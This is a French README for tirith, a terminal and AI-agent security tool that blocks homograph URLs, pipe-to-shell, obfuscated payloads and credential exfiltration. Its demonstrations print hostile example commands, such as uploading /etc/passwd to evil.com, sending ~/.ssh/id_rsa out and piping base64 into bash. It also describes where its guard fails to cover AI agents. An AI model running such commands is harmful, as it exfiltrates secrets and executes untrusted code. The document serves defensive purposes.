
Sécurité du terminal pour les développeurs et agents IA. Intercepte les URL homographes, les redirections vers le shell (pipe-to-shell), les injections ANSI, les charges utiles obfusquées, l'exfiltration de données et les compétences/configurations IA malveillantes avant leur exécution.
Votre navigateur attraperait ça. Votre terminal ne le fera pas.
Site web | Docs | SKILL.md | Changelog | Releases
Projet open-source indépendant, avec un hébergement soutenu par le Vercel Open Source Program (Spring 2026 Cohort).
Pouvez-vous repérer la différence ?``` curl -sSL https://install.example-cli.dev | bash # safe curl -sSL https://іnstall.example-clі.dev | bash # compromised
Vous ne pouvez pas. Votre terminal non plus. Les deux caractères `і` sont cyrilliques (U+0456), pas latins `i`. La deuxième URL pointe vers le serveur d'un attaquant. Le script s'exécute avant que vous ne le remarquiez.
Les navigateurs ont résolu ce problème il y a des années. Les terminaux affichent encore des caractères Unicode, des séquences d'échappement ANSI et des caractères invisibles sans se poser de questions. Les agents IA exécutent des commandes shell et installent des paquets sans inspecter ce qu'ils contiennent.
**Tirith monte la garde.** Il intercepte les commandes, le contenu collé et les fichiers analysés pour détecter les URL homographes, les charges utiles obfusquées, l'exfiltration d'identifiants, les compétences/configurations IA malveillantes et les paquets/domaines/IP connus comme malveillants provenant d'une base de données signée de renseignement sur les menaces avant leur exécution.```bash
brew install tirith
Puis activez dans votre profil shell :```bash
eval "$(tirith init --shell zsh)"
eval "$(tirith init --shell bash)"
tirith init --shell fish | source
> [!TIP]
> `eval "$(tirith init)"` détecte automatiquement votre shell actuel (il inspecte le processus parent et se rabat sur `$SHELL` si nécessaire). Le drapeau explicite `--shell` n'est requis que lorsque vous souhaitez remplacer la détection.
Voilà pour la couverture du shell interactif. Les commandes acceptées par ce shell sont
vérifiées tant que le hook est chargé et sain ; le comportement de blocage exact dépend
du shell et du mode. Exécutez `tirith doctor` après l'installation et les mises à niveau, et
lisez [enforcement by shell](#enforcement-by-shell) avant de traiter le hook comme
une frontière d'autorisation. Les commandes propres restent silencieuses et empruntent normalement le
chemin rapide.
Également disponible via [npm](#cross-platform), [cargo](#cross-platform), [mise](#cross-platform), [apt/dnf](#linux-packages), et [plus](#install).
---
## Voyez-le en action
**Attaque homographe, bloquée avant exécution :**```
$ curl -sSL https://іnstall.example-clі.dev | bash
tirith: BLOCKED
[CRITICAL] non_ascii_hostname, Cyrillic і (U+0456) in hostname
This is a homograph attack. The URL visually mimics a legitimate
domain but resolves to a completely different server.
Bypass: prefix your command with TIRITH=0 (applies to that command only)
La commande ne s'exécute jamais.
Pipe-to-shell avec URL propre, averti, non bloqué :``` $ curl -fsSL https://get.docker.com | sh
tirith: WARNING [MEDIUM] pipe_to_interpreter, Download piped to interpreter Consider downloading first and reviewing.
Avertissement affiché sur stderr. La commande s'exécute quand même.
**Chaîne de décodage-exécution Base64, bloquée :**```
$ echo payload | base64 -d | bash
tirith: BLOCKED
[HIGH] base64_decode_execute, Base64 decode piped to interpreter
[HIGH] pipe_to_interpreter, Pipe to interpreter: base64 | bash
Il intercepte également les chaînes de décodage via les wrappers sudo/env et PowerShell -EncodedCommand.
Exfiltration d'identifiants, bloquée :``` $ curl -d @/etc/passwd https://evil.com/collect
tirith: BLOCKED [HIGH] data_exfiltration, Data exfiltration via curl upload curl command uploads sensitive data to a remote server
Couvre tous les flags d'upload curl/wget, les variables d'environnement (`$AWS_SECRET_ACCESS_KEY`) et la substitution de commandes.
**Fichier de skill malveillant, détecté lors du scan :**```
$ tirith scan evil_skill.py
tirith scan: evil_skill.py, 3 finding(s)
[MEDIUM] dynamic_code_execution, exec() near b64decode() in close proximity
[MEDIUM] obfuscated_payload, Long base64 string decoded and executed
[MEDIUM] suspicious_code_exfiltration, HTTP call passes sensitive data as argument
Analyse les fichiers JS/Python à la recherche de charges utiles obfusquées, d'exécution dynamique de code et de modèles d'exfiltration de secrets.
Commandes normales, invisibles :``` $ git status $ ls -la $ docker compose up -d
Rien. Zéro sortie. Vous oubliez que tirith est en cours d'exécution.
---
## Ce qu'il détecte
**244 règles de détection réparties sur 35 catégories.**
| Catégorie | Ce qu'elle bloque |
|----------|--------------|
| **Attaques par homographes** | Homoglyphes cyrilliques/grecs dans les noms d'hôtes, domaines punycode, étiquettes à scripts mixtes, TLD trompeurs, domaines confondables, détection de confusables au niveau du texte (alphanumériques mathématiques, même mot à scripts mixtes) |
| **Injection terminal** | Séquences d'échappement ANSI, overrides bidi, caractères de largeur nulle, balises unicode, opérateurs mathématiques invisibles, sélecteurs de variation, remplisseurs Hangul |
| **Défense contre la stéganographie** | Encodage par espaces invisibles (12 variantes d'espaces Unicode), séparateur de voyelles mongol, caractères de remplissage Hangul, substitution alphanumérique mathématique, défenses contre la stéganographie textuelle de style st3gg |
| **Pipe-to-shell** | `curl \| bash`, `wget \| sh`, `httpie \| sh`, `xh \| sh`, `python <(curl ...)`, `eval $(wget ...)`, ainsi que de nombreux chemins via wrappers, décodage et indirection |
| **Décodage-exécution Base64** | `base64 -d \| bash`, `python -c "exec(b64decode(...))"`, `powershell -EncodedCommand`, chaînes de décodage via des wrappers sudo/env |
| **Exfiltration de données** | `curl -d @/etc/passwd`, `curl -T ~/.ssh/id_rsa`, `wget --post-file`, envois de variables d'environnement (`$AWS_SECRET_ACCESS_KEY`), exfiltration par substitution de commande |
| **Analyse de fichiers de code** | Charges utiles obfusquées (`eval(atob(...))`), exécution dynamique de code (`exec(b64decode(...))`), exfiltration de secrets via `fetch`/`requests.post` dans des fichiers JS/Python |
| **Détection d'identifiants** | Clés AWS, PAT GitHub, jetons Stripe/Slack/SendGrid/Anthropic/GCP/npm, blocs de clés privées, plus détection générique de secrets basée sur l'entropie |
| **Comportement post-compromission** | Extraction de mémoire de processus (`/proc/*/mem`), élévation de privilèges distante Docker, balayages de fichiers d'identifiants, calibré sur les outils post-compromission TeamPCP et UNC1069 |
| **Sécurité des commandes** | Écrasements de dotfiles, extraction d'archives vers des chemins sensibles, accès aux points de terminaison de métadonnées cloud, accès au réseau privé |
| **Transport non sécurisé** | HTTP en clair redirigé vers un shell, `curl -k`, vérification TLS désactivée, URLs raccourcies masquant les destinations |
| **Environnement** | Détournement de proxy, exports de variables d'environnement sensibles, injection de code via l'environnement, détournement d'interpréteur, injection shell via l'environnement |
| **Sécurité des fichiers de configuration** | Injection de configuration, indicateurs suspects, unicode non-ASCII/invisible dans les configurations, sécurité des serveurs MCP (non sécurisé/non fiable/dupliqué/permissif) |
| **Menaces de l'écosystème** | Typosquats de git clone, registres Docker non fiables, installations pip/npm par URL, points de terminaison RPC web3, vet-not-configured |
| **Sécurité des commandes d'installation** | Dépôts APT ajoutés depuis un téléchargement redirigé, `[trusted=yes]` / `--allow-unauthenticated` / `--nogpgcheck` / pacman `SigLevel = Never` (vérifications de signature désactivées), `kubectl apply -f` contre des manifestes distants bruts/raccourcis, charts Helm depuis des dépôts non fiables, modules Terraform depuis des sources distantes non fiables, `brew install`/`tap` depuis des URLs arbitraires |
| **Analyse de chemins** | Chemins non-ASCII, homoglyphes dans les chemins, double encodage |
| **Contenu rendu** | Contenu CSS/couleur caché, attributs HTML cachés, analyse du contenu des commentaires (injection de prompt en Élevé, commandes destructrices en Moyen) |
| **Détection de cloaking** | Cloaking côté serveur (bot vs navigateur), contenu caché du presse-papiers, texte caché dans les PDF |
| **Windows / PowerShell** | `Set-ExecutionPolicy Bypass` / `-ep`, exclusions Windows Defender (`Add-MpPreference -Exclusion*`), téléchargement-exécution en ligne `iex (iwr ...)` |
| **Défense contre la sortie terminal** | Écritures dans le presse-papiers OSC 52, faux prompts, manipulation des hyperliens OSC 8 et du titre / effacement d'écran, injection de prompt dans la sortie d'une commande ou d'un outil MCP (analysée à la fois brute et désobfusquée, de sorte que les évasions par caractères invisibles, confusables, espacés, leetspeak et base64 / hex courts sont également détectées), et exfiltration de données de sortie (URLs de balise ou directives « lire un secret puis l'envoyer ») |
| **Contexte opérationnel** | Commandes destructrices contre des contextes cloud / k8s étiquetés-prod et des hôtes SSH, `apply` Terraform / Pulumi / OpenTofu sans plan sauvegardé correspondant, escalade sudo risquée, `docker run` privilégié |
| **Poste de travail & persistance** | Fichiers d'identifiants aux permissions laxistes et jetons en clair (`~/.ssh`, `~/.aws`, `.npmrc`), points d'ancrage de persistance (shell rc, `authorized_keys`, crontab, LaunchAgents, git `core.hooksPath`), ordre de détournement du PATH, provenance des exécutables, alias risqués, et cycle de vie des variables d'environnement sensibles |
| **Rayon d'impact & corrélation** | Suppressions qui s'échappent du dépôt, suppressions massives, exécution de fichiers téléchargés depuis des sources risquées, et chaînes de session telles que écriture de secret puis réseau ou suppression puis `git push --force` |
| **Confiance, attestation & provenance** | Incohérence de carte de commande signée, touches de honeytoken canari, incohérence d'hôte source de collage, refus de politique d'origine d'appelant (agent), dérive de lockfile MCP, et dérive de configuration IA par rapport à un instantané connu comme sûr |
| **Garde de commandes Web3** | Écritures on-chain depuis des commandes Cast / Forge / Hardhat / Solana / Anchor (Élevé lorsque la même commande désactive aussi un contrôle de sécurité déclaré), matériel de clé privée, keypair ou mnémonique brut sur la ligne de commande, et un point de terminaison RPC ou signataire que la politique `web3_guard` de l'opérateur ne considère pas comme fiable. Grammaire et politique uniquement : aucun état de chaîne n'est lu, aucune transaction n'est simulée, et aucune adresse n'est évaluée |
| **Exfiltration de portefeuille** | Matériel de portefeuille examiné, keystore, portefeuille de navigateur et keypair Solana circulant vers un récepteur distant prouvé, y compris les étapes de préparation par archive, base64, hex, compresseur et chiffreur et la promotion d'opérandes `xargs` / `find -exec`. Une lecture source uniquement n'est délibérément pas un constat |
| **Empoisonnement d'artefacts CI** | Un workflow accessible depuis un fork qui téléverse un artefact de build, consommé par un workflow `workflow_run` privilégié lié à l'exécution déclenchante qui l'exécute, le source, mute le PATH, le publie ou le déploie ensuite |
---
## Ce contre quoi tirith ne protège PAS
Tirith analyse la **structure** des commandes, du texte collé et des fichiers avant
leur exécution. C'est une barrière de pré-exécution, pas une défense à l'exécution, et elle ne
couvre pas :
- **Le sandboxing général à l'exécution :** les hooks shell ordinaires et `tirith check` avertissent
ou bloquent ; ils n'isolent pas une commande après son lancement. Les chemins explicites
`capsule run --preset untrusted-project` et l'application de `pkg install`
ne fournissent un confinement fail-closed que sur les hôtes Linux x86_64 pris en charge.
- **La surveillance réseau post-exécution :** ce qu'un processus fait sur le réseau après
son lancement est hors périmètre.
- **La détection générale de malwares / charges utiles :** tirith n'est pas un antivirus et ne
détonne pas une charge utile. Il analyse la structure et peut faire correspondre des indicateurs exacts
et des hachages d'artefacts/fichiers issus de la base de menaces signée, mais une charge utile
inconnue n'est pas prouvée bénigne par l'absence de correspondance. (`tirith run` vérifie
la structure d'un script téléchargé ; ce n'est toujours pas de l'analyse dynamique de malwares.)
- **Un attaquant root/admin privilégié :** quiconque est déjà root ou admin peut contourner
tirith trivialement. Il se défend contre des entrées piégées, pas contre un attaquant qui possède déjà
la machine.
- **L'anti-débogage / anti-altération :** tirith ne résiste pas à l'ingénierie inverse
et ne protège pas son propre binaire contre un attaquant local.
- **L'analyse on-chain :** le garde Web3 lit la grammaire des commandes. Il ne lit pas
l'état de la chaîne, ne simule pas de transaction, ne résout pas l'ENS, n'évalue pas une adresse, n'audite pas un
contrat, et ne surveille pas une mempool.
- **Un pare-feu d'artefacts npm :** tirith analyse la grammaire des commandes npm et les faits
d'identité du registre, et peut demander au npm du projet son état de signature et
de provenance. Il ne télécharge, n'extrait, ne met en quarantaine, ni ne lie les
octets du tarball que npm installe. Le pare-feu d'artefacts contenu et épinglé par hachage est
uniquement pour Python.
- **La forensique ou la surveillance de navigateur :** `tirith browser audit` est un audit d'intégrité
explicite, ponctuel et en lecture seule des arborescences sources des extensions. Il ne lit jamais les
cookies, l'historique, les mots de passe enregistrés, le stockage, les bases de données de portefeuille ou `Local
State`, ne supprime ni ne met jamais rien en quarantaine, et n'a pas de démon.
- **Les builds reproductibles :** un reçu `attest` enregistre ce que deux arborescences contenaient
à un instant donné. Tirith n'exécute pas votre build et ne peut pas dire que la sortie provient
de la source. Un reçu de déploiement est une mesure ponctuelle, pas
une surveillance continue.
Voir [docs/threat-model.md](https://github.com/sheeki03/tirith/blob/main/docs/threat-model.md) pour le modèle de menace complet et
les non-objectifs explicites, et
[docs/enforcement-coverage.md](https://github.com/sheeki03/tirith/blob/main/docs/enforcement-coverage.md) pour un
registre capacité par capacité de ce que tirith détecte, décide, applique,
confine et atteste.
---
## Limitations connues
- **Fragilité des hooks shell :** la protection dépend du maintien en place et actif d'un hook shell.
Les hooks peuvent se casser ou se dégrader silencieusement selon les shells, les versions de shell,
les frameworks de prompt et les outils d'historique. Exécutez `tirith doctor` pour vérifier l'état en direct
et surveiller toute dégradation en avertissement seul.
- **Stockage temporaire plein ou en lecture seule :** zsh et fish capturent l'entrée via un
fichier temporaire avant d'invoquer Tirith et échouent en mode fail-closed lorsque ce fichier ne peut pas être
créé. Un `TMPDIR` plein/en lecture seule peut donc refuser chaque commande, et
`TIRITH=0` ne peut pas récupérer car le binaire n'est jamais atteint. Suivez les
étapes de récupération dans [troubleshooting](https://github.com/sheeki03/tirith/blob/main/docs/troubleshooting.md).
- **Fonctionnalités limitées à certaines plateformes :** le mode démon, `tirith run` et `tirith fetch`
sont des surfaces Unix. `tirith run --no-exec` reste un workflow d'inspection
là-bas, mais l'exécution de scripts distants en direct est réservée à Linux et refuse avant
téléchargement sur tout autre hôte. `tirith setup` est multiplateforme, tandis que chaque
intégration d'hôte a son propre contrat de plateforme (par exemple Cline a des wrappers POSIX
et Windows ; le hook bloquant d'OpenHands est réservé à Unix).
- **Portée de l'extraction des noms de paquets :** couvre les écosystèmes de langages (pip,
npm/yarn/pnpm/bun, cargo, gem, go, composer, dotnet, mvn/gradle), pas les gestionnaires de paquets
de distribution (`apt`, `dnf`, `yum`, `pacman`).
- **Mises en garde sur les agents IA :** l'interception par hook shell ne protège que les commandes qui passent
par un shell interactif équipé d'un hook. Un agent qui lance un shell non interactif,
appelle `exec` directement, ou s'exécute sans le hook chargé n'est pas couvert
par cette couche. L'enregistrement MCP est coopératif sauf si les appels sont routés
via la passerelle. Un hook pré-outil pris en charge peut automatiquement retenir une
commande hôte, mais uniquement lorsque cet hôte l'a chargé et honoré ; plusieurs hôtes
échouent en mode ouvert lorsqu'un processus de hook rencontre une erreur. Vérifiez l'hôte effectif, pas seulement la
présence d'un fichier de configuration.
- **Comportement en cas d'échec du hook hôte :** Grok Build, Cline et OpenHands autorisent l'
outil lorsque leur processus de hook plante ou expire. L'adaptateur de Tirith refuse en cas de
ses propres erreurs par défaut, mais il ne peut pas faire honorer par un hôte un processus qui n'a
pas retourné. Relancez la configuration si un interpréteur épinglé se déplace et testez le véritable hôte
après chaque mise à niveau.
- **Prime Agent IPython est une extraction au niveau source :** le garde couvre les échappements shell/magics
et les formes courantes `os`, `subprocess` et `pty.spawn`, mais ce n'est
pas un sandbox d'exécution Python. Un wrapper défini dans une cellule antérieure,
la réflexion telle que `getattr`/`__import__`, ou un paquet tiers qui
lance un processus peut échapper à ce qu'un lexer source peut prouver.
- **DLP personnalisé et sortie machine :** de larges `dlp_custom_patterns` peuvent actuellement
réécrire des valeurs de chaînes appartenant au protocole dans des projections JSON/MCP récursivement expurgées,
y compris des identifiants générés ou des métadonnées de reçu. Évitez les
motifs qui peuvent correspondre à des valeurs structurelles lors de la consommation de sortie signée ou
stable pour la machine ; cela nécessite une expurgation tenant compte des champs avant la sortie.
- **Approbation d'installation sans surveillance :** `tirith install --yes` est accepté comme le
canal `require_approval` sans surveillance de la barrière de tâche du gestionnaire de paquets. C'est un
indicateur d'opérateur explicite, pas une preuve de confirmation humaine sur TTY. Utilisez une politique de tâche
bloquante là où l'exécution sans surveillance doit être impossible.
- **Liaison MCP interprétée :** la liaison exacte de serveur interprété hache
l'arborescence du dépôt sous des plafonds fixes au lieu de découvrir une véritable fermeture de
dépendances, de sorte que les grandes arborescences, les liens symboliques ou les fichiers spéciaux peuvent refuser le lancement. Elle
revalide avant le spawn mais n'exécute pas les entrées d'interpréteur à partir de descripteurs scellés
examinés ; la mutation concurrente par le même utilisateur reste une lacune de vérification-à-chargement.
- **Couverture de la barrière de tâche :** l'inférence d'effet de tâche modélise la grammaire shell
Web3 et rien d'autre, de sorte que presque chaque commande SHELL ordinaire est signalée
INCOMPLETE. `task_gate.mode: enforce` avec `action_incomplete_analysis: block`
refuse celles-ci aux cinq frontières qui soumettent une enveloppe shell, et ne change
rien aux quatre frontières de paquet et d'écriture de configuration, qui s'évaluent toujours
comme complètes. `warn` est la valeur par défaut. L'alternative,
`effects_denied_for_untrusted_sources`, refuse l'effet nommé à chaque appel
à chaque frontière possédée, y compris les commandes que vous avez tapées vous-même, car aucune
source à ces frontières n'est jamais traitée comme fiable.
- **Le confinement est Linux x86_64 :** `tirith capsule run --preset
untrusted-project` et l'application de `tirith pkg install` ne sont applicables que sur
Linux x86_64 avec un ABI Landlock utilisable. Tout autre hôte refuse avant
que quoi que ce soit ne soit copié ou lancé, sans repli dégradé. La liste d'autorisation de domaines
n'est offerte par aucun backend.
- **Lacune d'exfiltration par shell imbriqué :** une lecture sensible à l'intérieur d'un corps de shell imbriqué
dont le récepteur est à l'extérieur, comme `bash -c "cat <wallet>" | curl -d @- <url>`,
n'est pas corrélée aujourd'hui. La même chaîne entièrement à l'intérieur ou entièrement à l'extérieur du
corps `-c` est détectée.
- **Grades de preuve d'exécution :** un lancement Linux n'est confirmé qu'après que sa
transition `exec` arrêtée, la mise à jour d'état durable, la reprise autorisée et
la preuve du lanceur terminal sont toutes terminées. Un appel de passerelle n'est confirmé que par un
résultat corrélé exact. Les observations de shell et les appels de passerelle transmis qui
expirent ou sont annulés restent des preuves non résolues conservatrices, jamais une
exécution confirmée. Des reçus shell stricts sont disponibles pour bash, zsh et fish interactifs ;
PowerShell reste en préflight uniquement. Le comportement du lanceur natif Linux
doit être vérifié par une CI Linux ou un hôte Linux natif ; ni la couverture portable
source/unité ni un build macOS ne peuvent s'y substituer.
- **Lacunes de couverture Web3 :** `forge create` n'est pas encore modélisé sur les surfaces du moteur ;
plusieurs champs `web3_guard` déclarés sont analysés mais non appliqués ; et les liaisons Web3 de carte de commande
schéma-2 n'ont pas encore de chemin d'authoring CLI ou de consommation par le moteur en direct. Traitez-les comme des lacunes connues, pas comme une autorisation silencieuse.
---
## Renseignement sur les menaces
Tirith embarque une base de données de menaces locale signée pour la réputation des paquets, des noms d'hôtes et des IP. Lorsqu'un hook shell ou `tirith check` voit une installation de paquet ou une référence d'infrastructure suspecte, il fait correspondre cette entrée à la base de données avant l'exécution de la commande, au lieu de se fier uniquement à des heuristiques statiques.
**Base de données signée** (construite par CI, vérifiée au téléchargement et au chargement) :
- Paquets malveillants connus de [OpenSSF Malicious Packages](https://github.com/ossf/malicious-packages) et [Datadog Security Labs](https://github.com/DataDog/malicious-software-packages-dataset)
- Infrastructure IP malveillante de [Feodo Tracker](https://feodotracker.abuse.ch/) (abuse.ch)
- Typosquats confirmés et références de paquets populaires de [ecosyste.ms](https://ecosyste.ms/)
- Catalogue [CISA Known Exploited Vulnerabilities](https://www.cisa.gov/known-exploited-vulnerabilities-catalog) pour la corrélation d'avis à l'exécution
ThreatDB v2 ajoute des valeurs SHA-256 d'artefacts exactes, des hachages de fichiers installés,
des URLs malveillantes, l'appartenance à des campagnes et des balises de comportement. L'index signé,
le programme de mise à jour, le compilateur et le chargeur prennent en charge v1 et v2 pendant la transition
par étapes, rejettent la restauration de séquence, publient de manière transactionnelle et conservent une
base de données signée du dernier état connu comme bon lorsqu'une mise à jour est incomplète ou invalide. La
source DigitalSide est implémentée mais intentionnellement inactive jusqu'à ce que sa
fraîcheur et son contrat d'exploitation soient approuvés.
**Flux supplémentaires optionnels** (superposition locale à l'utilisateur) :
- [URLhaus](https://urlhaus.abuse.ch/) et [ThreatFox](https://threatfox.abuse.ch/) via une clé d'authentification abuse.ch
- Listes de blocage [PhishTank](https://phishtank.org/) (Cisco Talos) et [Phishing Army](https://phishing.army/)
- Liste des nœuds de sortie Tor de [Tor Project](https://www.torproject.org/)
**Enrichissement en direct optionnel** pendant `tirith check` et le mode démon :
- Recherches d'avis [OSV.dev](https://osv.dev/) (Google OSS)
- Signaux de santé des paquets [deps.dev](https://deps.dev/) (Google OSS) et données de mainteneur [ecosyste.ms](https://ecosyste.ms/)
- Réputation d'URL [Google Safe Browsing](https://safebrowsing.google.com/) avec votre propre clé API```bash
tirith threat-db update # download + verify the signed DB
tirith threat-db status # age, signature, version, entry counts
tirith threat-db health # install, signature, staleness, counts
tirith threat-db sources # list every feed the DB is built from
tirith threat-db explain react # what the DB knows about an indicator
tirith threat-db diff --since 2026-01-01 # count changes since a version/date
Par défaut, les hooks shell et tirith check déclenchent une vérification d'actualisation en arrière-plan peu coûteuse toutes les 24 heures. Le mode démon maintient le même chemin d'enrichissement actif en arrière-plan.
threat-db explain accepte un domaine, un nom de paquet (name, ecosystem:name, ou name@version), ou une adresse IPv4. Le binaire ne conserve aucun historique par entrée, donc threat-db diff rapporte les deltas de catégorie et de nombre par source entre les instantanés, et non les entrées exactes modifiées. Chaque commande threat-db accepte --format json ; threatdb est un alias.
tirith package risk <ecosystem> <name> note le risque lié à la chaîne d'approvisionnement / aux mainteneurs d'un paquet de la même manière que tirith score note une URL, une somme déterministe et entièrement explicable de facteurs nommés, sans modèle ni pondérations apprises. tirith package explain <ecosystem> <name> ajoute la dérivation facteur par facteur ; les deux acceptent --format json.```bash
tirith package risk npm react # 0/100, a known-popular package
tirith package risk npm reqeusts # high, one edit from a popular name
tirith package explain pypi flask # factor-by-factor derivation
tirith package risk npm left-pad --path ./node_modules/left-pad
tirith package risk --online npm react # also consult the registry API
**Hors ligne par défaut.** Sans aucun drapeau, chaque signal est local, sans appel réseau : (1) **nom vs. paquets populaires** : connu comme populaire, inconnu, ou une quasi-coïncidence à une édition près d'un nom populaire (la forme classique de typosquat/slopsquat), à partir de l'ensemble `popular` de la base de données locale des menaces ; (2) **typosquat malveillant connu** : une correspondance exacte dans l'index `typosquat` de la base de données des menaces ; (3) **scripts d'installation / de cycle de vie** et (4) **blobs binaires intégrés**, détectés uniquement lorsque le contenu du paquet est disponible localement (sous `node_modules` / `site-packages`, ou via `--path`). tirith **ne télécharge jamais** le paquet.
**`--online` ajoute la provenance du registre.** Il consulte le registre du paquet (npm, PyPI ou crates.io) pour six facteurs supplémentaires dans le *même* modèle de somme de facteurs : l'âge du paquet/de la version, un paquet établi sans propriétaires, un pic de version anormal, des téléchargements très faibles, un dépôt source manquant, et un statut retiré/déprécié. C'est le seul chemin sur lequel `package risk` lui-même atteint le réseau ; `tirith check` et le mode démon disposent d'un chemin d'enrichissement à l'exécution distinct, contrôlé par politique. `--offline` / `TIRITH_OFFLINE` forcent ce scoreur hors ligne quoi qu'il arrive. Les échecs reviennent au score hors ligne avec un honnête `api signals: unavailable`, et les réponses sont mises en cache avec un TTL afin que les exécutions répétées ne martèlent pas les registres.
Le score est indicatif et autonome : `package risk` n'est pas une règle de détection et ne modifie aucun verdict, code de sortie ou journal d'audit.
### Analyse d'écosystème et risque de dépendances
`tirith ecosystem scan [path]` est le compagnon au niveau du répertoire de `package risk`. Il parcourt un projet, découvre chaque manifeste de dépendances qu'il comprend, npm (`package.json`, `package-lock.json`), Python (`requirements*.txt`, `pyproject.toml`), Rust (`Cargo.toml`), Go (`go.mod`), Ruby (`Gemfile`), et évalue **chaque dépendance déclarée** avec le même moteur déterministe de facteurs `package_risk`.```bash
tirith ecosystem scan # scan the current project
tirith ecosystem scan ./my-project # scan a specific directory
tirith ecosystem scan --online ./my-project # also consult the registry API
tirith ecosystem scan --format json ./ # full machine-readable report
Il intègre la détection de slopsquat. Le slopsquatting est l'enregistrement d'un nom plausible mais faux que les LLM ont tendance à halluciner comme dépendance. ecosystem scan ne le signale que lorsque les trois conditions suivantes sont réunies : le nom n'est pas connu comme réel ou populaire, il est façonné comme une hallucination d'IA (un préfixe de langage comme python- / node- suivi de jetons descriptifs, un empilement de termes génériques de remplissage comme helper / utils / client, ou un nom anormalement long), et il se situe près d'un nom populaire réel (un quasi-homonyme à une édition près, ou il intègre un nom populaire en tant que mot). Exiger les trois maintient un faible taux de faux positifs : un honnête data-utils sans ancrage populaire ne déclenche pas.
Hors ligne par défaut, --online en opt-in. Les signaux de nom et de typosquat proviennent de la base de données de menaces locale ; --online ajoute la provenance du registre, conditionnée et dégradée exactement comme package risk --online. Ce drapeau contrôle l'analyse de l'écosystème et ne modifie pas la politique indépendante d'enrichissement à l'exécution de tirith check. Les résultats passent par le modèle normal Verdict / Finding de tirith : explicables (tirith explain --rule threat_suspicious_package), journalisés pour audit, et respectant la liste d'autorisation de la politique (un paquet autorisé, par nom nu ou ecosystem:name, est supprimé). Les codes de sortie correspondent à tirith scan : 1 pour un résultat bloquant, 2 pour un avertissement, 0 lorsque tout est propre.
Cela aide à détecter les paquets malveillants connus, les typosquats confirmés, les noms de paquets slopsquattés, l'infrastructure de téléchargement malveillante, et les paquets disposant de données d'avis OSV / CISA KEV en direct.
Le risque lié au nom du paquet n'est qu'une couche. Tirith peut inspecter les octets Python exacts que vous possédez déjà et, sur les hôtes pris en charge, appliquer un plan d'installation épinglé par hachage :```bash
tirith package inspect --artifact dist/example-1.0-py3-none-any.whl tirith package inspect --artifact-set ./downloaded-wheels tirith package inspect --installed ./.venv
tirith pkg trust-tool /absolute/path/to/static-uv tirith pkg approve pip requests==2.31.0 --target .tirith-pkg tirith pkg install pip requests==2.31.0 --target .tirith-pkg tirith pkg verify-env --target .tirith-pkg requests
L'inspection couvre la structure et l'identité des wheels, l'intégrité du RECORD et la propriété des fichiers, les hooks de démarrage Python, les extensions natives ELF/Mach-O/PE, les arêtes d'exécution, et les séparations loader/payload selon les distributions. `pkg graph`, `pkg diff`, `pkg attest` et `pkg receipt` exposent les preuves de provenance et de reçu correspondantes.
Le chemin d'application prend en charge **pip sur x86_64 Linux uniquement** et nécessite l'autorité native documentée, un répertoire cible nouvellement dédié, et un `uv` natif entièrement statique enrôlé. Toute plateforme non prise en charge échoue de manière fermée avant que pip ne démarre ; il ne retombe jamais sur une installation ordinaire. npm et Cargo restent des surfaces de preuve non contraignantes. Voir les
[notes de version 0.4.0](https://github.com/sheeki03/tirith/blob/main/docs/release-notes-0.4.0.md) et la
[référence des commandes](https://github.com/sheeki03/tirith/blob/main/docs/commands.md).
**Familles d'attaques pour lesquelles tirith est conçu** (à titre illustratif, sans prétendre qu'elles sont détectées par le code actuel) :
| Incident | Année | Forme de l'attaque |
|---|---|---|
| [Ver npm Shai-Hulud](https://socket.dev/blog/shai-hulud-worm) | 2025 | Logiciel malveillant de package auto-propagateur ; exfiltration de jetons GitHub et de clés AWS depuis plus de 180 packages, publication des résultats dans des dépôts publics `Shai-Hulud` |
| [Slopsquatting](https://socket.dev/blog/slopsquatting-how-ai-hallucinations-are-fueling-a-new-class-of-supply-chain-attacks) | 2023 à aujourd'hui | Les attaquants enregistrent des noms de packages hallucinés par des LLM sur npm / PyPI / crates.io ; [USENIX 2025](https://www.usenix.org/system/files/conference/usenixsecurity25/sec25cycle1-prepub-742-spracklen.pdf) a constaté que 58 % des noms hallucinés se répètent d'une exécution à l'autre |
| Outillage Team PCP / UNC1069 | en cours | Balayages d'identifiants post-compromission, extraction via `/proc/*/mem`, escalade de privilèges Docker |
| [Sabotage colors.js / faker.js](https://snyk.io/blog/open-source-npm-packages-colors-faker/) | 2022 | Auto-sabotage par l'auteur de packages largement utilisés |
| [Compromission event-stream](https://github.com/dominictarr/event-stream/issues/116) | 2018 | Transfert de propriété à un attaquant ; charge utile ciblant les portefeuilles Bitcoin |
L'extraction des noms de packages couvre actuellement les écosystèmes linguistiques (pip, npm/yarn/pnpm/bun, cargo, gem, go, composer, dotnet, mvn/gradle), mais pas les gestionnaires de packages au niveau des distributions (`apt` / `dnf` / `yum` / `pacman`). C'est pourquoi xz-utils, qui est entré via les tarballs de distributions Linux, ne figure pas dans le tableau malgré son statut d'incident majeur.
---
## Sécurité des agents IA
Tirith ajoute plusieurs couches de protection indépendantes autour des agents de codage IA :
analyse de configuration, outils MCP coopératifs, une passerelle MCP, hooks de shell
interactif, et hooks pré-outil natifs de l'hôte lorsque celui-ci expose un contrat de
blocage documenté. La couverture dépend de la couche que l'hôte charge réellement.
### Hooks de shell, interception passive des commandes
Lorsqu'un agent IA s'exécute via un shell interactif hooké (Claude Code,
Codex, Cursor, etc.), le hook de shell de tirith vérifie cette commande interactive avant
que le shell ne l'accepte. Cela ne couvre pas un shell non interactif, un `exec`
direct, ou un processus d'agent qui n'a jamais chargé le hook :
- **Bloque les commandes dangereuses** : URLs homographes, pipe-to-shell, téléchargements non sécurisés
- **Bloque le collage malveillant** : injection ANSI, attaques bidi, multiligne caché dans le contenu collé
- **Barrière interactive indépendante de l'agent** : aucune intégration spécifique à l'agent n'est
nécessaire lorsque cet agent utilise réellement le shell interactif protégé
- **Zéro modification de l'agent** : l'agent ne sait pas que tirith existe jusqu'à ce qu'une commande soit bloquée
Utilisez `tirith setup <tool>` pour une configuration en une commande (voir [Intégrations d'agents IA](#ai-agent-integrations)).
### Serveur MCP (6 outils multiplateformes ; 7 sous Unix)
Exécutez `tirith mcp-server` ou utilisez `tirith setup <tool> --with-mcp` pour enregistrer tirith comme serveur MCP. Les agents IA peuvent appeler ces outils avant d'agir :
| Outil | Ce qu'il fait |
|------|-------------|
| `tirith_check_command` | Analyse les commandes shell pour pipe-to-shell, URLs homographes, injection d'environnement |
| `tirith_check_url` | Évalue les URLs pour les attaques homographes, les astuces punycode, les URLs raccourcies, les IP brutes |
| `tirith_check_paste` | Vérifie le contenu collé pour les échappements ANSI, les contrôles bidi, les caractères de largeur nulle |
